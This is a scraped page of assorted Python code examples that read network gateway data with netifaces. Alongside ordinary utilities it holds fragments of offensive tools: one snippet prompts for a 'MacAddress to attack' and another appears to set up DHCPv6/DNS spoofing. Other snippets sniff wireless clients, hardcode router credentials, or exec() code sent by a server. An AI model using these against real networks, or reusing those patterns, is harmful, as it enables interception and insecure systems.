            logger.notice("Using depot cache: %s", cacheDepotDir)
            self.set_temporary_depot_path(cacheDepotDir)
            if RUNNING_ON_WINDOWS:
                self.setTemporaryDepotDrive(cacheDepotDir.split(':')[0] + ':')
            else:
                self.setTemporaryDepotDrive(cacheDepotDir)
            self.set(
                'depot_server', 'url', 'smb://localhost/noshare/' +
                ('/'.join(cacheDepotDir.split('/')[1:])))
            return

        if not configService:
            raise Exception("Not connected to config service")

        selectedDepot = None

        configService.backend_setOptions({"addConfigStateDefaults": True})

        depotIds = []
        configStates = []
        dynamicDepot = False
        depotProtocol = 'cifs'
        configStates = configService.configState_getObjects(configId=[
            'clientconfig.depot.dynamic', 'clientconfig.depot.protocol',
            'opsiclientd.depot_server.depot_id', 'opsiclientd.depot_server.url'
        ],
                                                            objectId=self.get(
                                                                'global',
                                                                'host_id'))
        for configState in configStates:
            if not configState.values or not configState.values[0]:
                continue

            if configState.configId == 'opsiclientd.depot_server.url' and configState.values:
                try:
                    depotUrl = forceUrl(configState.values[0])
                    self.set('depot_server', 'depot_id', '')
                    self.set('depot_server', 'url', depotUrl)
                    logger.notice(
                        "Depot url was set to '%s' from configState %s",
                        depotUrl, configState)
                    return
                except Exception as err:  # pylint: disable=broad-except
                    logger.error(
                        "Failed to set depot url from values %s in configState %s: %s",
                        configState.values, configState, err)
            elif configState.configId == 'opsiclientd.depot_server.depot_id' and configState.values:
                try:
                    depotId = forceHostId(configState.values[0])
                    depotIds.append(depotId)
                    logger.notice("Depot was set to '%s' from configState %s",
                                  depotId, configState)
                except Exception as err:  # pylint: disable=broad-except
                    logger.error(
                        "Failed to set depot id from values %s in configState %s: %s",
                        configState.values, configState, err)
            elif not masterOnly and (
                    configState.configId
                    == 'clientconfig.depot.dynamic') and configState.values:
                dynamicDepot = forceBool(configState.values[0])

            elif configState.configId == 'clientconfig.depot.protocol' and configState.values:
                depotProtocol = configState.values[0]
                logger.info("Using depot protocol '%s' from config state '%s'",
                            depotProtocol, configState.configId)

        if event and event.eventConfig.depotProtocol:
            logger.info("Using depot protocol '%s' from event '%s'",
                        event.eventConfig.depotProtocol,
                        event.eventConfig.getName())
            depotProtocol = event.eventConfig.depotProtocol

        if depotProtocol not in ("webdav", "cifs"):
            logger.error("Invalid protocol %s specified, using cifs",
                         depotProtocol)
            depotProtocol = "cifs"

        #if depotProtocol == "webdav" and mode == "mount" and not RUNNING_ON_LINUX and not self.get('global', 'install_opsi_ca_into_os_store'):
        #	logger.error("Using cifs instead of webdav to mount depot share because global.install_opsi_ca_into_os_store is disabled")
        #	depotProtocol = "cifs"

        if dynamicDepot:
            if not depotIds:
                logger.info("Dynamic depot selection enabled")
            else:
                logger.info(
                    "Dynamic depot selection enabled, but depot is already selected"
                )
        else:
            logger.info("Dynamic depot selection disabled")

        if not depotIds:
            clientToDepotservers = configService.configState_getClientToDepotserver(
                clientIds=[self.get('global', 'host_id')],
                masterOnly=bool(not dynamicDepot),
                productIds=productIds)
            if not clientToDepotservers:
                raise Exception("Failed to get depot config from service")

            depotIds = [clientToDepotservers[0]['depotId']]
            if dynamicDepot:
                depotIds.extend(clientToDepotservers[0].get(
                    'alternativeDepotIds', []))

        logger.debug("Fetching depot servers %s from config service", depotIds)
        masterDepot = None
        alternativeDepots = []
        for depot in configService.host_getObjects(type='OpsiDepotserver',
                                                   id=depotIds):
            logger.trace("Depot: %s", depot)
            if depot.id == depotIds[0]:
                masterDepot = depot
            else:
                alternativeDepots.append(depot)

        if not masterDepot:
            raise Exception(
                f"Failed to get info for master depot '{depotIds[0]}'")

        logger.info("Master depot for products %s is %s", productIds,
                    masterDepot.id)
        selectedDepot = masterDepot
        if dynamicDepot:
            if alternativeDepots:
                logger.info("Got alternative depots for products: %s",
                            productIds)
                for index, depot in enumerate(alternativeDepots, start=1):
                    logger.info("%d. alternative depot is %s", index, depot.id)

                try:
                    clientConfig = {
                        "clientId": self.get('global', 'host_id'),
                        "opsiHostKey": self.get('global', 'opsi_host_key'),
                        "ipAddress": None,
                        "netmask": None,
                        "defaultGateway": None
                    }
                    try:
                        gateways = netifaces.gateways()  # pylint: disable=c-extension-no-member
                        clientConfig["defaultGateway"], iface_name = gateways[
                            'default'][netifaces.AF_INET]  # pylint: disable=c-extension-no-member
                        addr = netifaces.ifaddresses(iface_name)[
                            netifaces.AF_INET][0]  # pylint: disable=c-extension-no-member
                        clientConfig["netmask"] = addr["netmask"]
                        clientConfig["ipAddress"] = addr["addr"]
                    except Exception as gwe:
                        raise RuntimeError(
                            f"Failed to get network interface with default gateway: {gwe}"
                        ) from gwe

                    logger.info(
                        "Passing client configuration to depot selection algorithm: %s",
                        clientConfig)

                    depotSelectionAlgorithm = configService.getDepotSelectionAlgorithm(
                    )
                    logger.trace("depotSelectionAlgorithm:\n%s",
                                 depotSelectionAlgorithm)

                    currentLocals = locals()
                    exec(depotSelectionAlgorithm, None, currentLocals)  # pylint: disable=exec-used
                    selectDepot = currentLocals['selectDepot']

                    selectedDepot = selectDepot(
                        clientConfig=clientConfig,
                        masterDepot=masterDepot,
                        alternativeDepots=alternativeDepots)
                    if not selectedDepot:
                        selectedDepot = masterDepot
                except Exception as err:  # pylint: disable=broad-except
                    logger.error("Failed to select depot: %s",
                                 err,
                                 exc_info=True)
            else:
                logger.info("No alternative depot for products: %s",
                            productIds)

        logger.notice("Selected depot for mode '%s' is '%s', protocol '%s'",
                      mode, selectedDepot, depotProtocol)
        self.set('depot_server', 'depot_id', selectedDepot.id)
        if depotProtocol == 'webdav':
            self.set('depot_server', 'url', selectedDepot.depotWebdavUrl)
        else:
            self.set('depot_server', 'url', selectedDepot.depotRemoteUrl)
Beispiel #38
0
def get_default_interface():
    gateways = netifaces.gateways()
    default_iface = gateways['default'].get(netifaces.AF_INET)
    if not default_iface:
        return
    return default_iface[1]
Beispiel #39
0
def get_default_gateway(interface="default"):
    try:
        gws = netifaces.gateways()
        return gws[interface][netifaces.AF_INET][0]
    except:
        return None
Beispiel #40
0
import urllib
import time
from ftplib import FTP
import ftplib
from shutil import copy2
import win32api

import netifaces
# ------------------- Logging ----------------------- #
logger = logging.getLogger(__name__)
coloredlogs.install(level='DEBUG', logger=logger)
# --------------------------------------------------- #


# gets gateway of the network
gws = netifaces.gateways()
gateway = gws['default'][netifaces.AF_INET][0]

def get_private_ip():
    """
    Gets private IP address of this machine.
    This will be used for scanning other computers on LAN.

    Returns:
        private IP address
    """
    logger.debug("Getting private IP")
    ip = socket.gethostbyname(socket.gethostname())
    logger.debug("IP: " + ip)
    return ip
Beispiel #41
0
 def __init__(self):
     self.info = psutil.net_if_addrs()
     self.gateways = netifaces.gateways()
Beispiel #42
0
 def _get_local_ip(self):
     interface = netifaces.gateways()["default"][netifaces.AF_INET][1]
     return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]["addr"]
Beispiel #43
0
def wol(mac, pw="", port=9):
   """ Send a WOL packet to the given MAC address """
   result = False
   WOL_PREFIX = "FFFFFFFFFFFF"
   EN0 = netifaces.gateways()['default'][netifaces.AF_INET][1]
   iface_details = netifaces.ifaddresses(EN0)

   # Check supplied mac address.
   mac   = mac_address.checkMACByteFormat(mac)
   mac   = mac_address.removeMACSeperators(mac)
   error = mac_address.verifyMACBroadcastLength(mac)

   # If we're called from the command line, raise an exception.
   if (len(error) > 0):
      if 'tkinter' not in sys.modules:
         raise ValueError(error)
      else:
         return result
 
   # Setup the magic packet.
   magic_packet = ''.join([WOL_PREFIX, mac * 16])

   # If a PW was provided, append it to the packet
   if (len(pw) > 0):
      magic_packet = magic_packet + pw

   # Pack the bytes from the magic packet string.
   send_data = bytes.fromhex(magic_packet)

   # Broadcast it to the LAN.
   if (socket.has_ipv6 == True):
      # socket.IPPROTO_IPV6 may not be defined on Windows, hardcode for now
      SOCKET_OP = 41
      if "Windows" in os.environ.get('OS',''):
         WOL_IPV6 = "ff02::1"
      else :
         WOL_IPV6 = "ff02::1%"+EN0
         SOCKET_OP = socket.IPPROTO_IPV6

      # Get Host device port bindings
      IPADDR = iface_details.get(netifaces.AF_INET6)[0].get('addr')
      HOST_BIND = getIPv6Address(IPADDR, 0)

      # Get Remote device port info 
      DEST_ADDR = getIPv6Address(WOL_IPV6, port)

      # Send the data
      sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
      sock.setsockopt(SOCKET_OP, socket.IPV6_MULTICAST_HOPS, 1)
      sock.bind(HOST_BIND)
      sock.sendto(send_data, DEST_ADDR)
      sock.close()
      result = True
   else:
      WOL_IPV4 = iface_details.get(netifaces.AF_INET)[0].get("broadcast")
      sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
      sock.sendto(send_data, (WOL_IPV4, port))
      sock.close()
      result = True
   return result
 def get_default():
     try:
         return netifaces.gateways()['default'][netifaces.AF_INET][1]
     except KeyError:
         return None
Beispiel #45
0
def main(args):
    parser = argparse.ArgumentParser(
        description='Find active users on the current wireless network.')
    parser.add_argument('-p',
                        '--packets',
                        default=1000,
                        type=int,
                        help='How many packets to capture.')
    parser.add_argument('-r',
                        '--results',
                        default=None,
                        type=int,
                        help='How many results to show.')
    args = parser.parse_args()

    try:
        wireless = Wireless()
        ssid = wireless.current()
        if ssid is None:
            eprint(
                'No SSID is currently available. Connect to the network first.'
            )
            return
        eprint('SSID: {}'.format(ssid))
    except:
        eprint('Couldn\'t get current wireless SSID.')
        raise

    network_macs = set()
    try:
        gw = netifaces.gateways()['default'][netifaces.AF_INET]
        iface = gw[1]
        gw_arp = subprocess.check_output(['arp', '-n', str(gw[0])])
        gw_arp = gw_arp.decode('utf-8')
        gw_mac = EUI(re.search(' at (.+) on ', gw_arp).group(1))
        gw_mac.dialect = mac_unix_expanded
        network_macs.add(gw_mac)
        eprint('Gateway: {}'.format(gw_mac))
    except KeyError:
        eprint('No gateway is available: {}'.format(netifaces.gateways()))
        return
    except:
        eprint('Error getting gateway mac address.')

    bssid_re = re.compile(' BSSID:(\S+) ')
    da_re = re.compile(' DA:(\S+) ')
    sa_re = re.compile(' SA:(\S+) ')

    mac_re = re.compile('(SA|DA|BSSID):(([\dA-F]{2}:){5}[\dA-F]{2})', re.I)
    length_re = re.compile(' length (\d+)')
    client_macs = set()
    data_totals = defaultdict(int)

    cmd = 'tcpdump -i {} -Ile -c {}'.format(iface, args.packets).split()
    try:
        bar_format = '{n_fmt}/{total_fmt} {bar} {remaining}'
        for line in tqdm(run_process(cmd),
                         total=args.packets,
                         bar_format=bar_format):
            line = line.decode('utf-8')

            # find BSSID for SSID
            if ssid in line:
                bssid_matches = bssid_re.search(line)
                if bssid_matches:
                    bssid = bssid_matches.group(1)
                    if not 'Broadcast' in bssid:
                        network_macs.add(EUI(bssid))

            # count data packets
            length_match = length_re.search(line)
            if length_match:
                length = int(length_match.group(1))
                mac_matches = mac_re.findall(line)
                if mac_matches:
                    macs = set([EUI(match[1]) for match in mac_matches])
                    leftover = macs - network_macs
                    if len(leftover) < len(macs):
                        for mac in leftover:
                            data_totals[mac] += length
                            client_macs.add(mac)

    except subprocess.CalledProcessError:
        eprint('Error collecting packets.')
        raise
    except KeyboardInterrupt:
        pass

    print()

    totals_sorted = sorted(data_totals.items(),
                           key=lambda x: x[1],
                           reverse=True)

    eprint('Total of {} user(s)'.format(len(totals_sorted)))

    for mac, total in reversed(totals_sorted[:args.results]):
        mac.dialect = mac_unix_expanded
        if total > 0:
            print('{}\t{} bytes'.format(mac, total))
Beispiel #46
0
def get_Default_Interface():
    gws = netifaces.gateways()
    return gws['default'][netifaces.AF_INET][1]
Beispiel #47
0
    def __get_nw_devices(self):
        # {'default': {2: ('172.16.0.1', 'brq2376512c-13')}, 2: [('10.0.0.1', 'eno4', True), ('172.16.0.1', 'brq2376512c-13', True), ('172.16.1.1', 'brqf110e342-9b', False), ('10.0.0.1', 'eno4', False)]}

        nets = []
        intfs = psutil.net_if_stats().keys()
        gws = netifaces.gateways().get(2)

        default_gw = self.__get_default_gw()
        if default_gw == "":
            self.agent.logger.warning('__get_nw_devices()',
                                      'Default gw not found!!')
        for k in intfs:
            intf_info = psutil.net_if_addrs().get(k)

            ipv4_info = [
                x for x in intf_info if x[0] == socket.AddressFamily.AF_INET
            ]
            ipv6_info = [
                x for x in intf_info if x[0] == socket.AddressFamily.AF_INET6
            ]
            l2_info = [x for x in intf_info if x[0] == -1]

            if len(ipv4_info) > 0:
                ipv4_info = ipv4_info[0]
                ipv4 = ipv4_info[1]
                ipv4mask = ipv4_info[2]
                search_gw = [x[0] for x in gws if x[1] == k]
                if len(search_gw) > 0:
                    ipv4gateway = search_gw[0]
                else:
                    ipv4gateway = ''

            else:
                ipv4 = ''
                ipv4gateway = ''
                ipv4mask = ''

            if len(ipv6_info) > 0:
                ipv6_info = ipv6_info[0]
                ipv6 = ipv6_info[1]
                ipv6mask = ipv6_info[2]
            else:
                ipv6 = ''
                ipv6mask = ''

            if len(l2_info) > 0:
                l2_info = l2_info[0]
                mac = l2_info[1].replace('-', ':')
            else:
                mac = ''
            # print(k)
            #mac = netifaces.ifaddresses(k)[netifaces.AF_LINK][0].get('addr')

            speed = psutil.net_if_stats().get(k)[2]
            inft_conf = {
                'ipv4_address': ipv4,
                'ipv4_netmask': ipv4mask,
                "ipv4_gateway": ipv4gateway,
                "ipv6_address": ipv6,
                'ipv6_netmask': ipv6mask
            }

            iface_info = {
                'intf_name': k,
                'inft_configuration': inft_conf,
                'intf_mac_address': mac,
                'intf_speed': speed,
                "type": self.get_intf_type(k),
                'available': True,
                "default_gw": False
            }
            if k == default_gw:
                iface_info.update({'available': False})
                iface_info.update({'default_gw': True})
            nets.append(iface_info)

        return nets
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
'''
   netifaces模块能够获取网路设备的网卡接口信息
'''
import netifaces
# 获取设备网关信息
gate1= netifaces.gateways()
print("gate1 = ", gate1)
print("gate1的类型为:", type(gate1))
print("\n")
# 分析结果获取网关地址
gate = gate1["default"][2][0]
print("gateway_addr:", gate)
Beispiel #49
0
def get_connected_interface_name():
    try:
        return netifaces.gateways()['default'][netifaces.AF_INET][1]
    except KeyError:
        return None
Beispiel #50
0
def getDefaultGatewayIPAddress():
    return netifaces.gateways()['default'][netifaces.AF_INET][0]
Beispiel #51
0
        if (choice == '1'):
            choice = raw_input("enter cidr default[%s]: " % (iprange))
            if (choice != ''):
                iprange = choice

            log.info("IP Scanner started for range %s, Please Wait...." %
                     iprange)
            nm = nmap_python.PortScanner()
            nm.scan(iprange, arguments='-sP -n')
            for h in nm.all_hosts():
                if 'mac' in nm[h]['addresses']:
                    print(nm[h]['addresses'], nm[h]['vendor'])
        macAddressToAttack = ''
        while macAddressToAttack == '':
            macAddressToAttack = raw_input("MacAddress to attack: ")
        gateway = netifaces.gateways()['default'].values()[0][0]
        defaultGatewayIP = raw_input("Default Gateway[%s]" % gateway)
        if (defaultGatewayIP != ''):
            gateway = defaultGatewayIP
        macAddress = macAddressToAttack
    else:
        gateway = netifaces.gateways()['default'].values()[0][0]
        # defaultGateway = data['default_gateway']
        # if defaultGateway is None or defaultGateway == "":
        #
        # else:
        #     gateway = defaultGateway

    return macAddress, gateway, broadcast_ip, iprange

Beispiel #52
0
    def __init__(self, args):
        # IP autodiscovery / config override
        if args.interface is None:
            self.dgw = netifaces.gateways()['default']
            self.default_if = self.dgw[netifaces.AF_INET][1]
        else:
            self.default_if = args.interface
        if args.ipv4 is None:
            self.v4addr = netifaces.ifaddresses(
                self.default_if)[netifaces.AF_INET][0]['addr']
        else:
            self.v4addr = args.ipv4
        if args.ipv6 is None:
            try:
                self.v6addr = netifaces.ifaddresses(
                    self.default_if)[netifaces.AF_INET6][0]['addr']
            except KeyError:
                print(
                    'Error: The interface {0} does not have an IPv6 address assigned. Make sure IPv6 is activated on this interface.'
                    .format(self.default_if))
                sys.exit(1)
        else:
            self.v6addr = args.ipv6
        if args.mac is None:
            self.macaddr = netifaces.ifaddresses(
                self.default_if)[netifaces.AF_LINK][0]['addr']
        else:
            self.macaddr = args.mac

        if '%' in self.v6addr:
            self.v6addr = self.v6addr[:self.v6addr.index('%')]
        # End IP autodiscovery

        # This is partly static, partly filled in from the autodiscovery above
        self.ipv6prefix = 'fe80::'  #link-local
        self.selfaddr = self.v6addr
        self.selfmac = self.macaddr
        self.ipv6cidr = '64'
        self.selfipv4 = self.v4addr
        self.selfduid = DUID_LL(lladdr=self.macaddr)
        self.selfptr = ipaddress.ip_address(str(
            self.selfaddr)).reverse_pointer + '.'
        self.ipv6noaddr = random.randint(1, 9999)
        self.ipv6noaddrc = 1
        # DNS whitelist / blacklist options
        self.dns_whitelist = [d.lower() for d in args.domain]
        self.dns_blacklist = [d.lower() for d in args.blacklist]
        # Hostname (DHCPv6 FQDN) whitelist / blacklist options
        self.host_whitelist = [d.lower() for d in args.host_whitelist]
        self.host_blacklist = [d.lower() for d in args.host_blacklist]
        # Should DHCPv6 queries that do not specify a FQDN be ignored?
        self.ignore_nofqnd = args.ignore_nofqnd
        # Local domain to advertise
        # If no localdomain is specified, use the first dnsdomain
        if args.localdomain is None:
            try:
                self.localdomain = args.domain[0]
            except IndexError:
                self.localdomain = None
        else:
            self.localdomain = args.localdomain.lower()

        self.debug = args.debug
        self.verbose = args.verbose
Beispiel #53
0
 def get_routes(self):
     """ returns list of gateways (routes) on the system """
     return netifaces.gateways()
Beispiel #54
0
def scan_by_interface(interface_name="enp0s9",
                      user="******",
                      password="******",
                      secret="1234"):

    global cisco
    cisco["username"] = user
    cisco["password"] = password
    cisco["secret"] = secret

    # Obtienen el disccionario de los datos de la red
    dic_data = ni.ifaddresses(interface_name)
    if 2 not in dic_data:
        print("No hay una dirección IPv4 en la interfaz")
        return [-1, -1]
    dic_data = dic_data[2][0]
    print(f"\nInformación\n{interface_name}:{dic_data}")
    addr = list(map(int, dic_data["addr"].split(".")))
    net = list(map(int, dic_data["netmask"].split(".")))

    c = determinate_prefix(net)
    # Se obtiene el identificador de la subred
    idnet = get_id_net(addr, net)
    # Se obtiene la dirección de broadcast
    range_net = get_broadcast_ip(idnet, net)
    print(
        f"Address: {addr}\nNetmask:{net}\nIdnet\n\tID: {(idnet)}/{c}\n\tNet: {(net)}\n\Range_net: {(range_net)}"
    )
    print(
        f"Red a Escanear\n\tID: {arr_to_ip(idnet)}/{c}\n\tNetmask: {arr_to_ip(net)}\n\tBroadcast: {arr_to_ip(range_net)}"
    )

    # Se prepara para hacer is_host_up
    ips = [idnet[0], idnet[1], idnet[2], idnet[3] + 1]
    print('Interfaces: ', ni.gateways())
    responde = scan_range(ips, range_net)

    # Se filtra por primera vez que solo los elementos que sean Cisco
    """
    ciscos=[]
    for i in range(len(responde)):
        for k,v in responde[i].items():
            if "Cisco_Router_IOS" in v:
                print("Añadiendo: ", responde[i])
                ciscos.append(responde[i])
    """
    for k, v in responde[0].items():
        print(f"Estableciendo conexión con la dirección: {k}")
        cisco['ip'] = k
    #print(f"Solo routers cisco: {ciscos}")

    # Despues de todo lo que hace el modulo hay que conectarse por ssh o telnet
    #   a los dispositivos cisco
    cmd = [
        "sh cdp neigh detail | i IP address",
        "sh cdp neigh detail | i Device ID", "sh run | include hostname",
        "sh ip int br | include up", "sh ip int | include Internet address"
    ]
    red = {}
    net_router = {}

    # Los datos del router (Interfaces)
    output = conectar(cisco, cmd)

    #dir=re.split("\n|  Internet address is | ",output[0])
    #inte=re.split("\n|      YES NVRAM  up                    up      |      YES manual up                    up  | ",output[1])
    host_cmd = output[2].split("hostname ")[1]
    interf = output[3].split()
    direcciones = output[4].split()
    #print('Interfaces: ', interf, '\nDirecciones: ', direcciones)

    myInterfacesDict = {}
    ripRoutes = []
    for i in interf:
        if 'Fast' in i:
            position = interf.index(i) + 1

            actualValue = interf[position]
            sub = ""
            for int_fa in direcciones:
                if actualValue in int_fa:
                    actualValue = int_fa
                    sub = actualValue.split("/")
                    pr = sub[1]
                    sub = list(map(int, sub[0].split(".")))
                    sub = arr_to_ip(
                        get_id_net(sub, create_masc_by_prefix(int(pr))))
                    break

            myInterfacesDict[i] = actualValue
            myInterfacesDict[f"{i}-sub"] = sub
            ripRoutes.append(sub)

    con = ConnectHandler(**cisco)
    rip(con, ripRoutes)
    con.disconnect()

    print('Directorio: ', myInterfacesDict)

    print("\n\n\n")

    known_routers.append(host_cmd)

    val = output[1].split()[2]
    host_cmd = val.replace(val.split('.')[0], host_cmd)
    print('Router Principal: ', host_cmd)
    routers_alreadyConfigured.append(host_cmd)

    #Buscará los vecinos
    con = ConnectHandler(**cisco)
    neighbors(host_cmd, con)
    con.disconnect()

    tempHost = []
    tempHost.append(cisco['ip'] + '/' + str(c))
    routers[host_cmd]['Interfaces'] = myInterfacesDict
    routers[host_cmd]['RoutesToHosts'] = tempHost
    routers[host_cmd]['Protocol'] = 'RIP'
    routers[host_cmd]['Ip'] = cisco['ip']
    json_routers = json.dumps(routers, sort_keys=True, indent=4)
    newDict = json.loads(json_routers)
    print(f"Diccionario de routers:\n{json_routers}")

    cmd = ['', 'ssh -l ' + cisco['username'] + ' ', cisco['password'], 'exit']
    for key, values in newDict.items():
        cmd[0] = key
        print('Router elegido: ', key, ' y el cmd dice: ', cmd[0])
        break

    #cmd=["ssh -l admin ","show cdp neigh detail","admin","ena","1234","sh ip int | i Internet address",
    #    "sh ip int br | include up","sh run | include hostname","exit"]
    cmd = [
        "ssh -l admin ", "admin", "ena", "1234", "sh ip int br | include up",
        "sh ip int | include Internet address"
    ]  #,"exit"]
    rawCmd = [
        "", "admin", "1234", "sh ip int br | include up",
        "sh ip int | i Internet address"
    ]  #, "exit"]
    for key, values in newDict[host_cmd]['Neighbors'].items():
        print('Elemento dentro: ', values)
        global amountOfRouters
        amountOfRouters = amountOfRouters + 1

        routers_alreadyConfigured.append(key)
        router = dataToRouter(values, host_cmd, key, ConnectHandler(**cisco))
        router.set_data(cisco['ip'], cmd, rawCmd, False)
        threads.append(Thread(target=process, args=(router, )))
        threads[-1].start()

    #Detener hilos
    actualAmountOfThreads = len(threads)
    threadCounter = 0
    while threadCounter < actualAmountOfThreads:
        print('CANTIDAD DE HILOS: ', amountOfRouters)
        threads[amountOfRouters - 1 - threadCounter].join()
        threadCounter = threadCounter + 1
        actualAmountOfThreads = len(threads)

    new_datos = json.dumps(routers_Code, sort_keys=True, indent=4)
    print(f'Datos: {new_datos}')

    new_json_routers = json.dumps(routers, sort_keys=True, indent=4)
    print(f"Diccionario de routers:\n{new_json_routers}")
    with open('routers.json', 'w') as outfile:
        json.dump(new_json_routers, outfile, indent=4)

    #VOY AQUÍ, LO QUE SIGUE ES VER COMO HACER PARA CONECTAR AL HOST DE LA POSIBLE RUTA DE CADA ROUTER
    """
    #Primero hay que obtener el identificador de red, esto es pasar /24 a 255.255.255.0 o sus equivalentes
    data= routers['R1.adminredes.escom.ipn.mx']['RoutesToHosts'][0]
    chosenIp= data[:data.index('/')]
    chosenNetMask= data[(data.index('/') + 1):]
    print(f'Host a visitar: {chosenIp} con máscara de subred: {chosenNetMask}')

    addr= turnIpToArray(chosenIp)
    net= determinate_prefix_inverse(int(chosenNetMask))
    print(f'\nConvertida en {addr} con máscara {net}')

    idnet=get_id_net(addr,net)
    # range_net es la dirección de broadcast, esto es para un 10.0.1.1/24 lo torna en 10.0.1.255
    range_net=get_broadcast_ip(idnet,net)
    
    #ips viene siendo la dirección 1 de la subred a la que se está conectado, esto es, 10.0.1.0 lo torna en 10.0.1.1
    ips=[idnet[0],idnet[1],idnet[2],idnet[3]+1]
    responde=look_for_hosts('R1.adminredes.escom.ipn.mx',ips,range_net)
    
    conexiones= verifica_conectividad(routers)
    """
    """
    cmd=["sh ip int | i Internet address","sh ip int br | include up","sh run | include hostname"]
    c=0
    red={}
    net_router={}
    for i in ciscos:
        flag=False
        # Los datos del router (Interfaces)
        for k,v in i.items():
            print(f"Estableciendo conexión con la dirección: {k}")
            cisco["ip"]=k
            output=conectar(cisco,cmd)
            print('Output: ', output)
            dir=re.split("\n|  Internet address is | ",output[0])
            inte=re.split("\n|      YES NVRAM  up                    up      |      YES manual up                    up  | ",output[1])
            host_cmd=output[2].split("hostname ")[1]
            direcciones=[]
            interf=[]
            for j in dir:
                if j!="":
                    direcciones.append(j)
            for j in inte:
                if j!="":
                    interf.append(j)
            if host_cmd in red.keys():
                flag=False
            else:
                flag=True
            if flag:
                iter={}
                for j in range(len(direcciones)):
                    iter[interf[(j*2)]]=direcciones[j]
                    sub=direcciones[j].split("/")
                    pr=sub[1]
                    sub=list(map(int,sub[0].split(".")))
                    sub=arr_to_ip(get_id_net(sub,create_masc_by_prefix(int(pr))))
                    iter[f"{interf[(j*2)]}-sub"]=sub
                red[host_cmd]=iter
            dir.clear()
            inte.clear()
            direcciones.clear()
    print("\n\n\n")

    for i in red.items():
        print('Router: ', i, '\n\n')
    """
    """
    threads= []

    cmd=["ssh -l admin ","admin","ena","1234","sh ip int | i Internet address","sh ip int br | include up","sh run | include hostname","exit"]
    # Obtiene los datos de la interfaz y se intenta conectar a la ip-1 a la que esta conectada
    for i in ciscos:
        for k,v in i.items():
            cisco["ip"]=k
            for l,m in red.items():
                for n,o in m.items():
                    ip_r=o.split("/")
                    if ip_r[0]!=k and "-sub" not in n:
                        ip_r=list(map(int,ip_r[0].split(".")))
                        ip_r[3]-=1  #Para este caso cambia la ip del gateway, de P_3 de 254 asigna a la otra la 253
                        ip_r=arr_to_ip(ip_r)
                        print('IP: ', ip_r)
                        
                        router= dataToRouter(ip_r)
                        router.set_data(k, cmd)
                        threads.append(Thread(target=process,args=(router,)))
                        threads[-1].start()

    #Detener hilos
    for t in range(len(threads)):
        threads[t].join() 

    for k,v in re_n.items():
        red[k]=v
    json_routers=json.dumps(red,sort_keys=True,indent=4)
    print(f"Diccionario de routers:\n{json_routers}")

    route=[]
    protocolsThreads= []
    conexiones=verifica_conectividad(red)
    
    # Se realiza las configuraciones de los routers permitiendo redistribución entre protocolos dinamicos y el estatico
    for i,j in red.items():
        route=[]
        if "1" in i:
            print(f"\nEnrutamiento estático hacia -> {i}")
            for k,v in red.items():
                if "1" not in k:
                    for l,m in v.items():
                        if "-sub" in l and m not in route and n not in v.values():
                            route.append(m)
            resultado=conexiones[verifica_index(conexiones,i)]
            parser=resultado.split(":")
            routers=parser[0].split("-")
            net=parser[1]
            route_c=[]
            for k,v in red.items():
                if "1" in k:
                    for l,m in v.items():
                        if "-sub" in l and m not in route:
                            route_c.append(m)
            route.remove(net)
            #print(f"{routers[0]} enruta hacia {routers[1]} con net {route_c}")
            #print(f"{routers[1]} enruta hacia {routers[0]} con net {route}")
            # Aca desarrollamos el comando en conjunto de las IP's que estan interconectadas
            # Obtenemos ip del R[0] hacia que ip salen la redirección de datos de R[1]

            ip_r1=list(red[routers[1]].values())
            ip=ip_r1.index(net)-1
            ip_r1=ip_r1[ip].split("/")[0]
            # Obtenemos ip del R[1] hacia que ip salen la redirección de datos de R[0]
            ip_r2=list(red[routers[0]].values())
            ip=ip_r2.index(net)-1
            ip_r2=ip_r2[ip].split("/")[0]

            cmd=["conf t"]
            for a in route_c:
                cmd.append(f"ip route {a} 255.255.255.0 {ip_r1}")
            cmd.append("end")
            #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}")

            router= staticConfig(ip_r)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()

            #output=conectar_bridge(cisco,cmd)
            cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t"]
            for a in route:
                cmd.append(f"ip route {a} 255.255.255.0 {ip_r2}")
            cmd.append("end")
            cmd.append("exit")
            #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}")

            router= staticConfig(ip_r2)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()
            #output=conectar_bridge(cisco,cmd)
        
        elif "2" in i:
            print(f"\nEnrutamiento RIP {i}")
            resultado=conexiones[verifica_index(conexiones,i)]
            parser=resultado.split(":")
            routers=parser[0].split("-")
            net=parser[1]
            print(f"Conexion entre {routers[0]} y {routers[1]} con la ip {net}")
            routes_r1=[]
            routes_r2=[]
            ip_r1=list(red[routers[0]].values())
            for i in ip_r1:
                if "/" not in i:
                    routes_r1.append(i)
            ip_r1=list(red[routers[1]].values())
            for i in ip_r1:
                if "/" not in i:
                    routes_r2.append(i)
            cmd=["conf t","router rip","ver 2","redistribute static","redistribute ospf 1","default-metric 1"]
            for i in routes_r1:
                cmd.append(f"net {i}")
            cmd.append("end")
            #print(f"{routers[0]} manda comandos hacia si mismo con configuracion= {cmd}")
            
            router= staticConfig(ip_r2)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()

            #output=conectar_bridge(cisco,cmd)
            # Sale la IP R[1]
            ip_r1=list(red[routers[1]].values())
            ip=ip_r1.index(net)-1
            ip_r1=ip_r1[ip].split("/")[0]
            #########################
            cmd=[f"ssh -l admin {ip_r1}","admin","ena","1234","conf t","router rip","ver 2","redistribute static","redistribute ospf 1","default-metric 1"]
            for i in routes_r2:
                cmd.append(f"net {i}")
            cmd.append("end")
            cmd.append("exit")
            #print(f"{routers[0]} manda comandos hacia {routers[1]} con configuracion= {cmd}")

            router= staticConfig(ip_r1)
            router.set_data(cmd)
            protocolsThreads.append(Thread(target=staticProcess,args=(router,)))
            protocolsThreads[-1].start()

            #output=conectar_bridge(cisco,cmd)
        elif "3" in i:
            print(f"\nEnrutamiento OSPF {i}")
            resultado=conexiones[verifica_index(conexiones,i)]
            parser=resultado.split(":")
            routers=parser[0].split("-")
            net=parser[1]
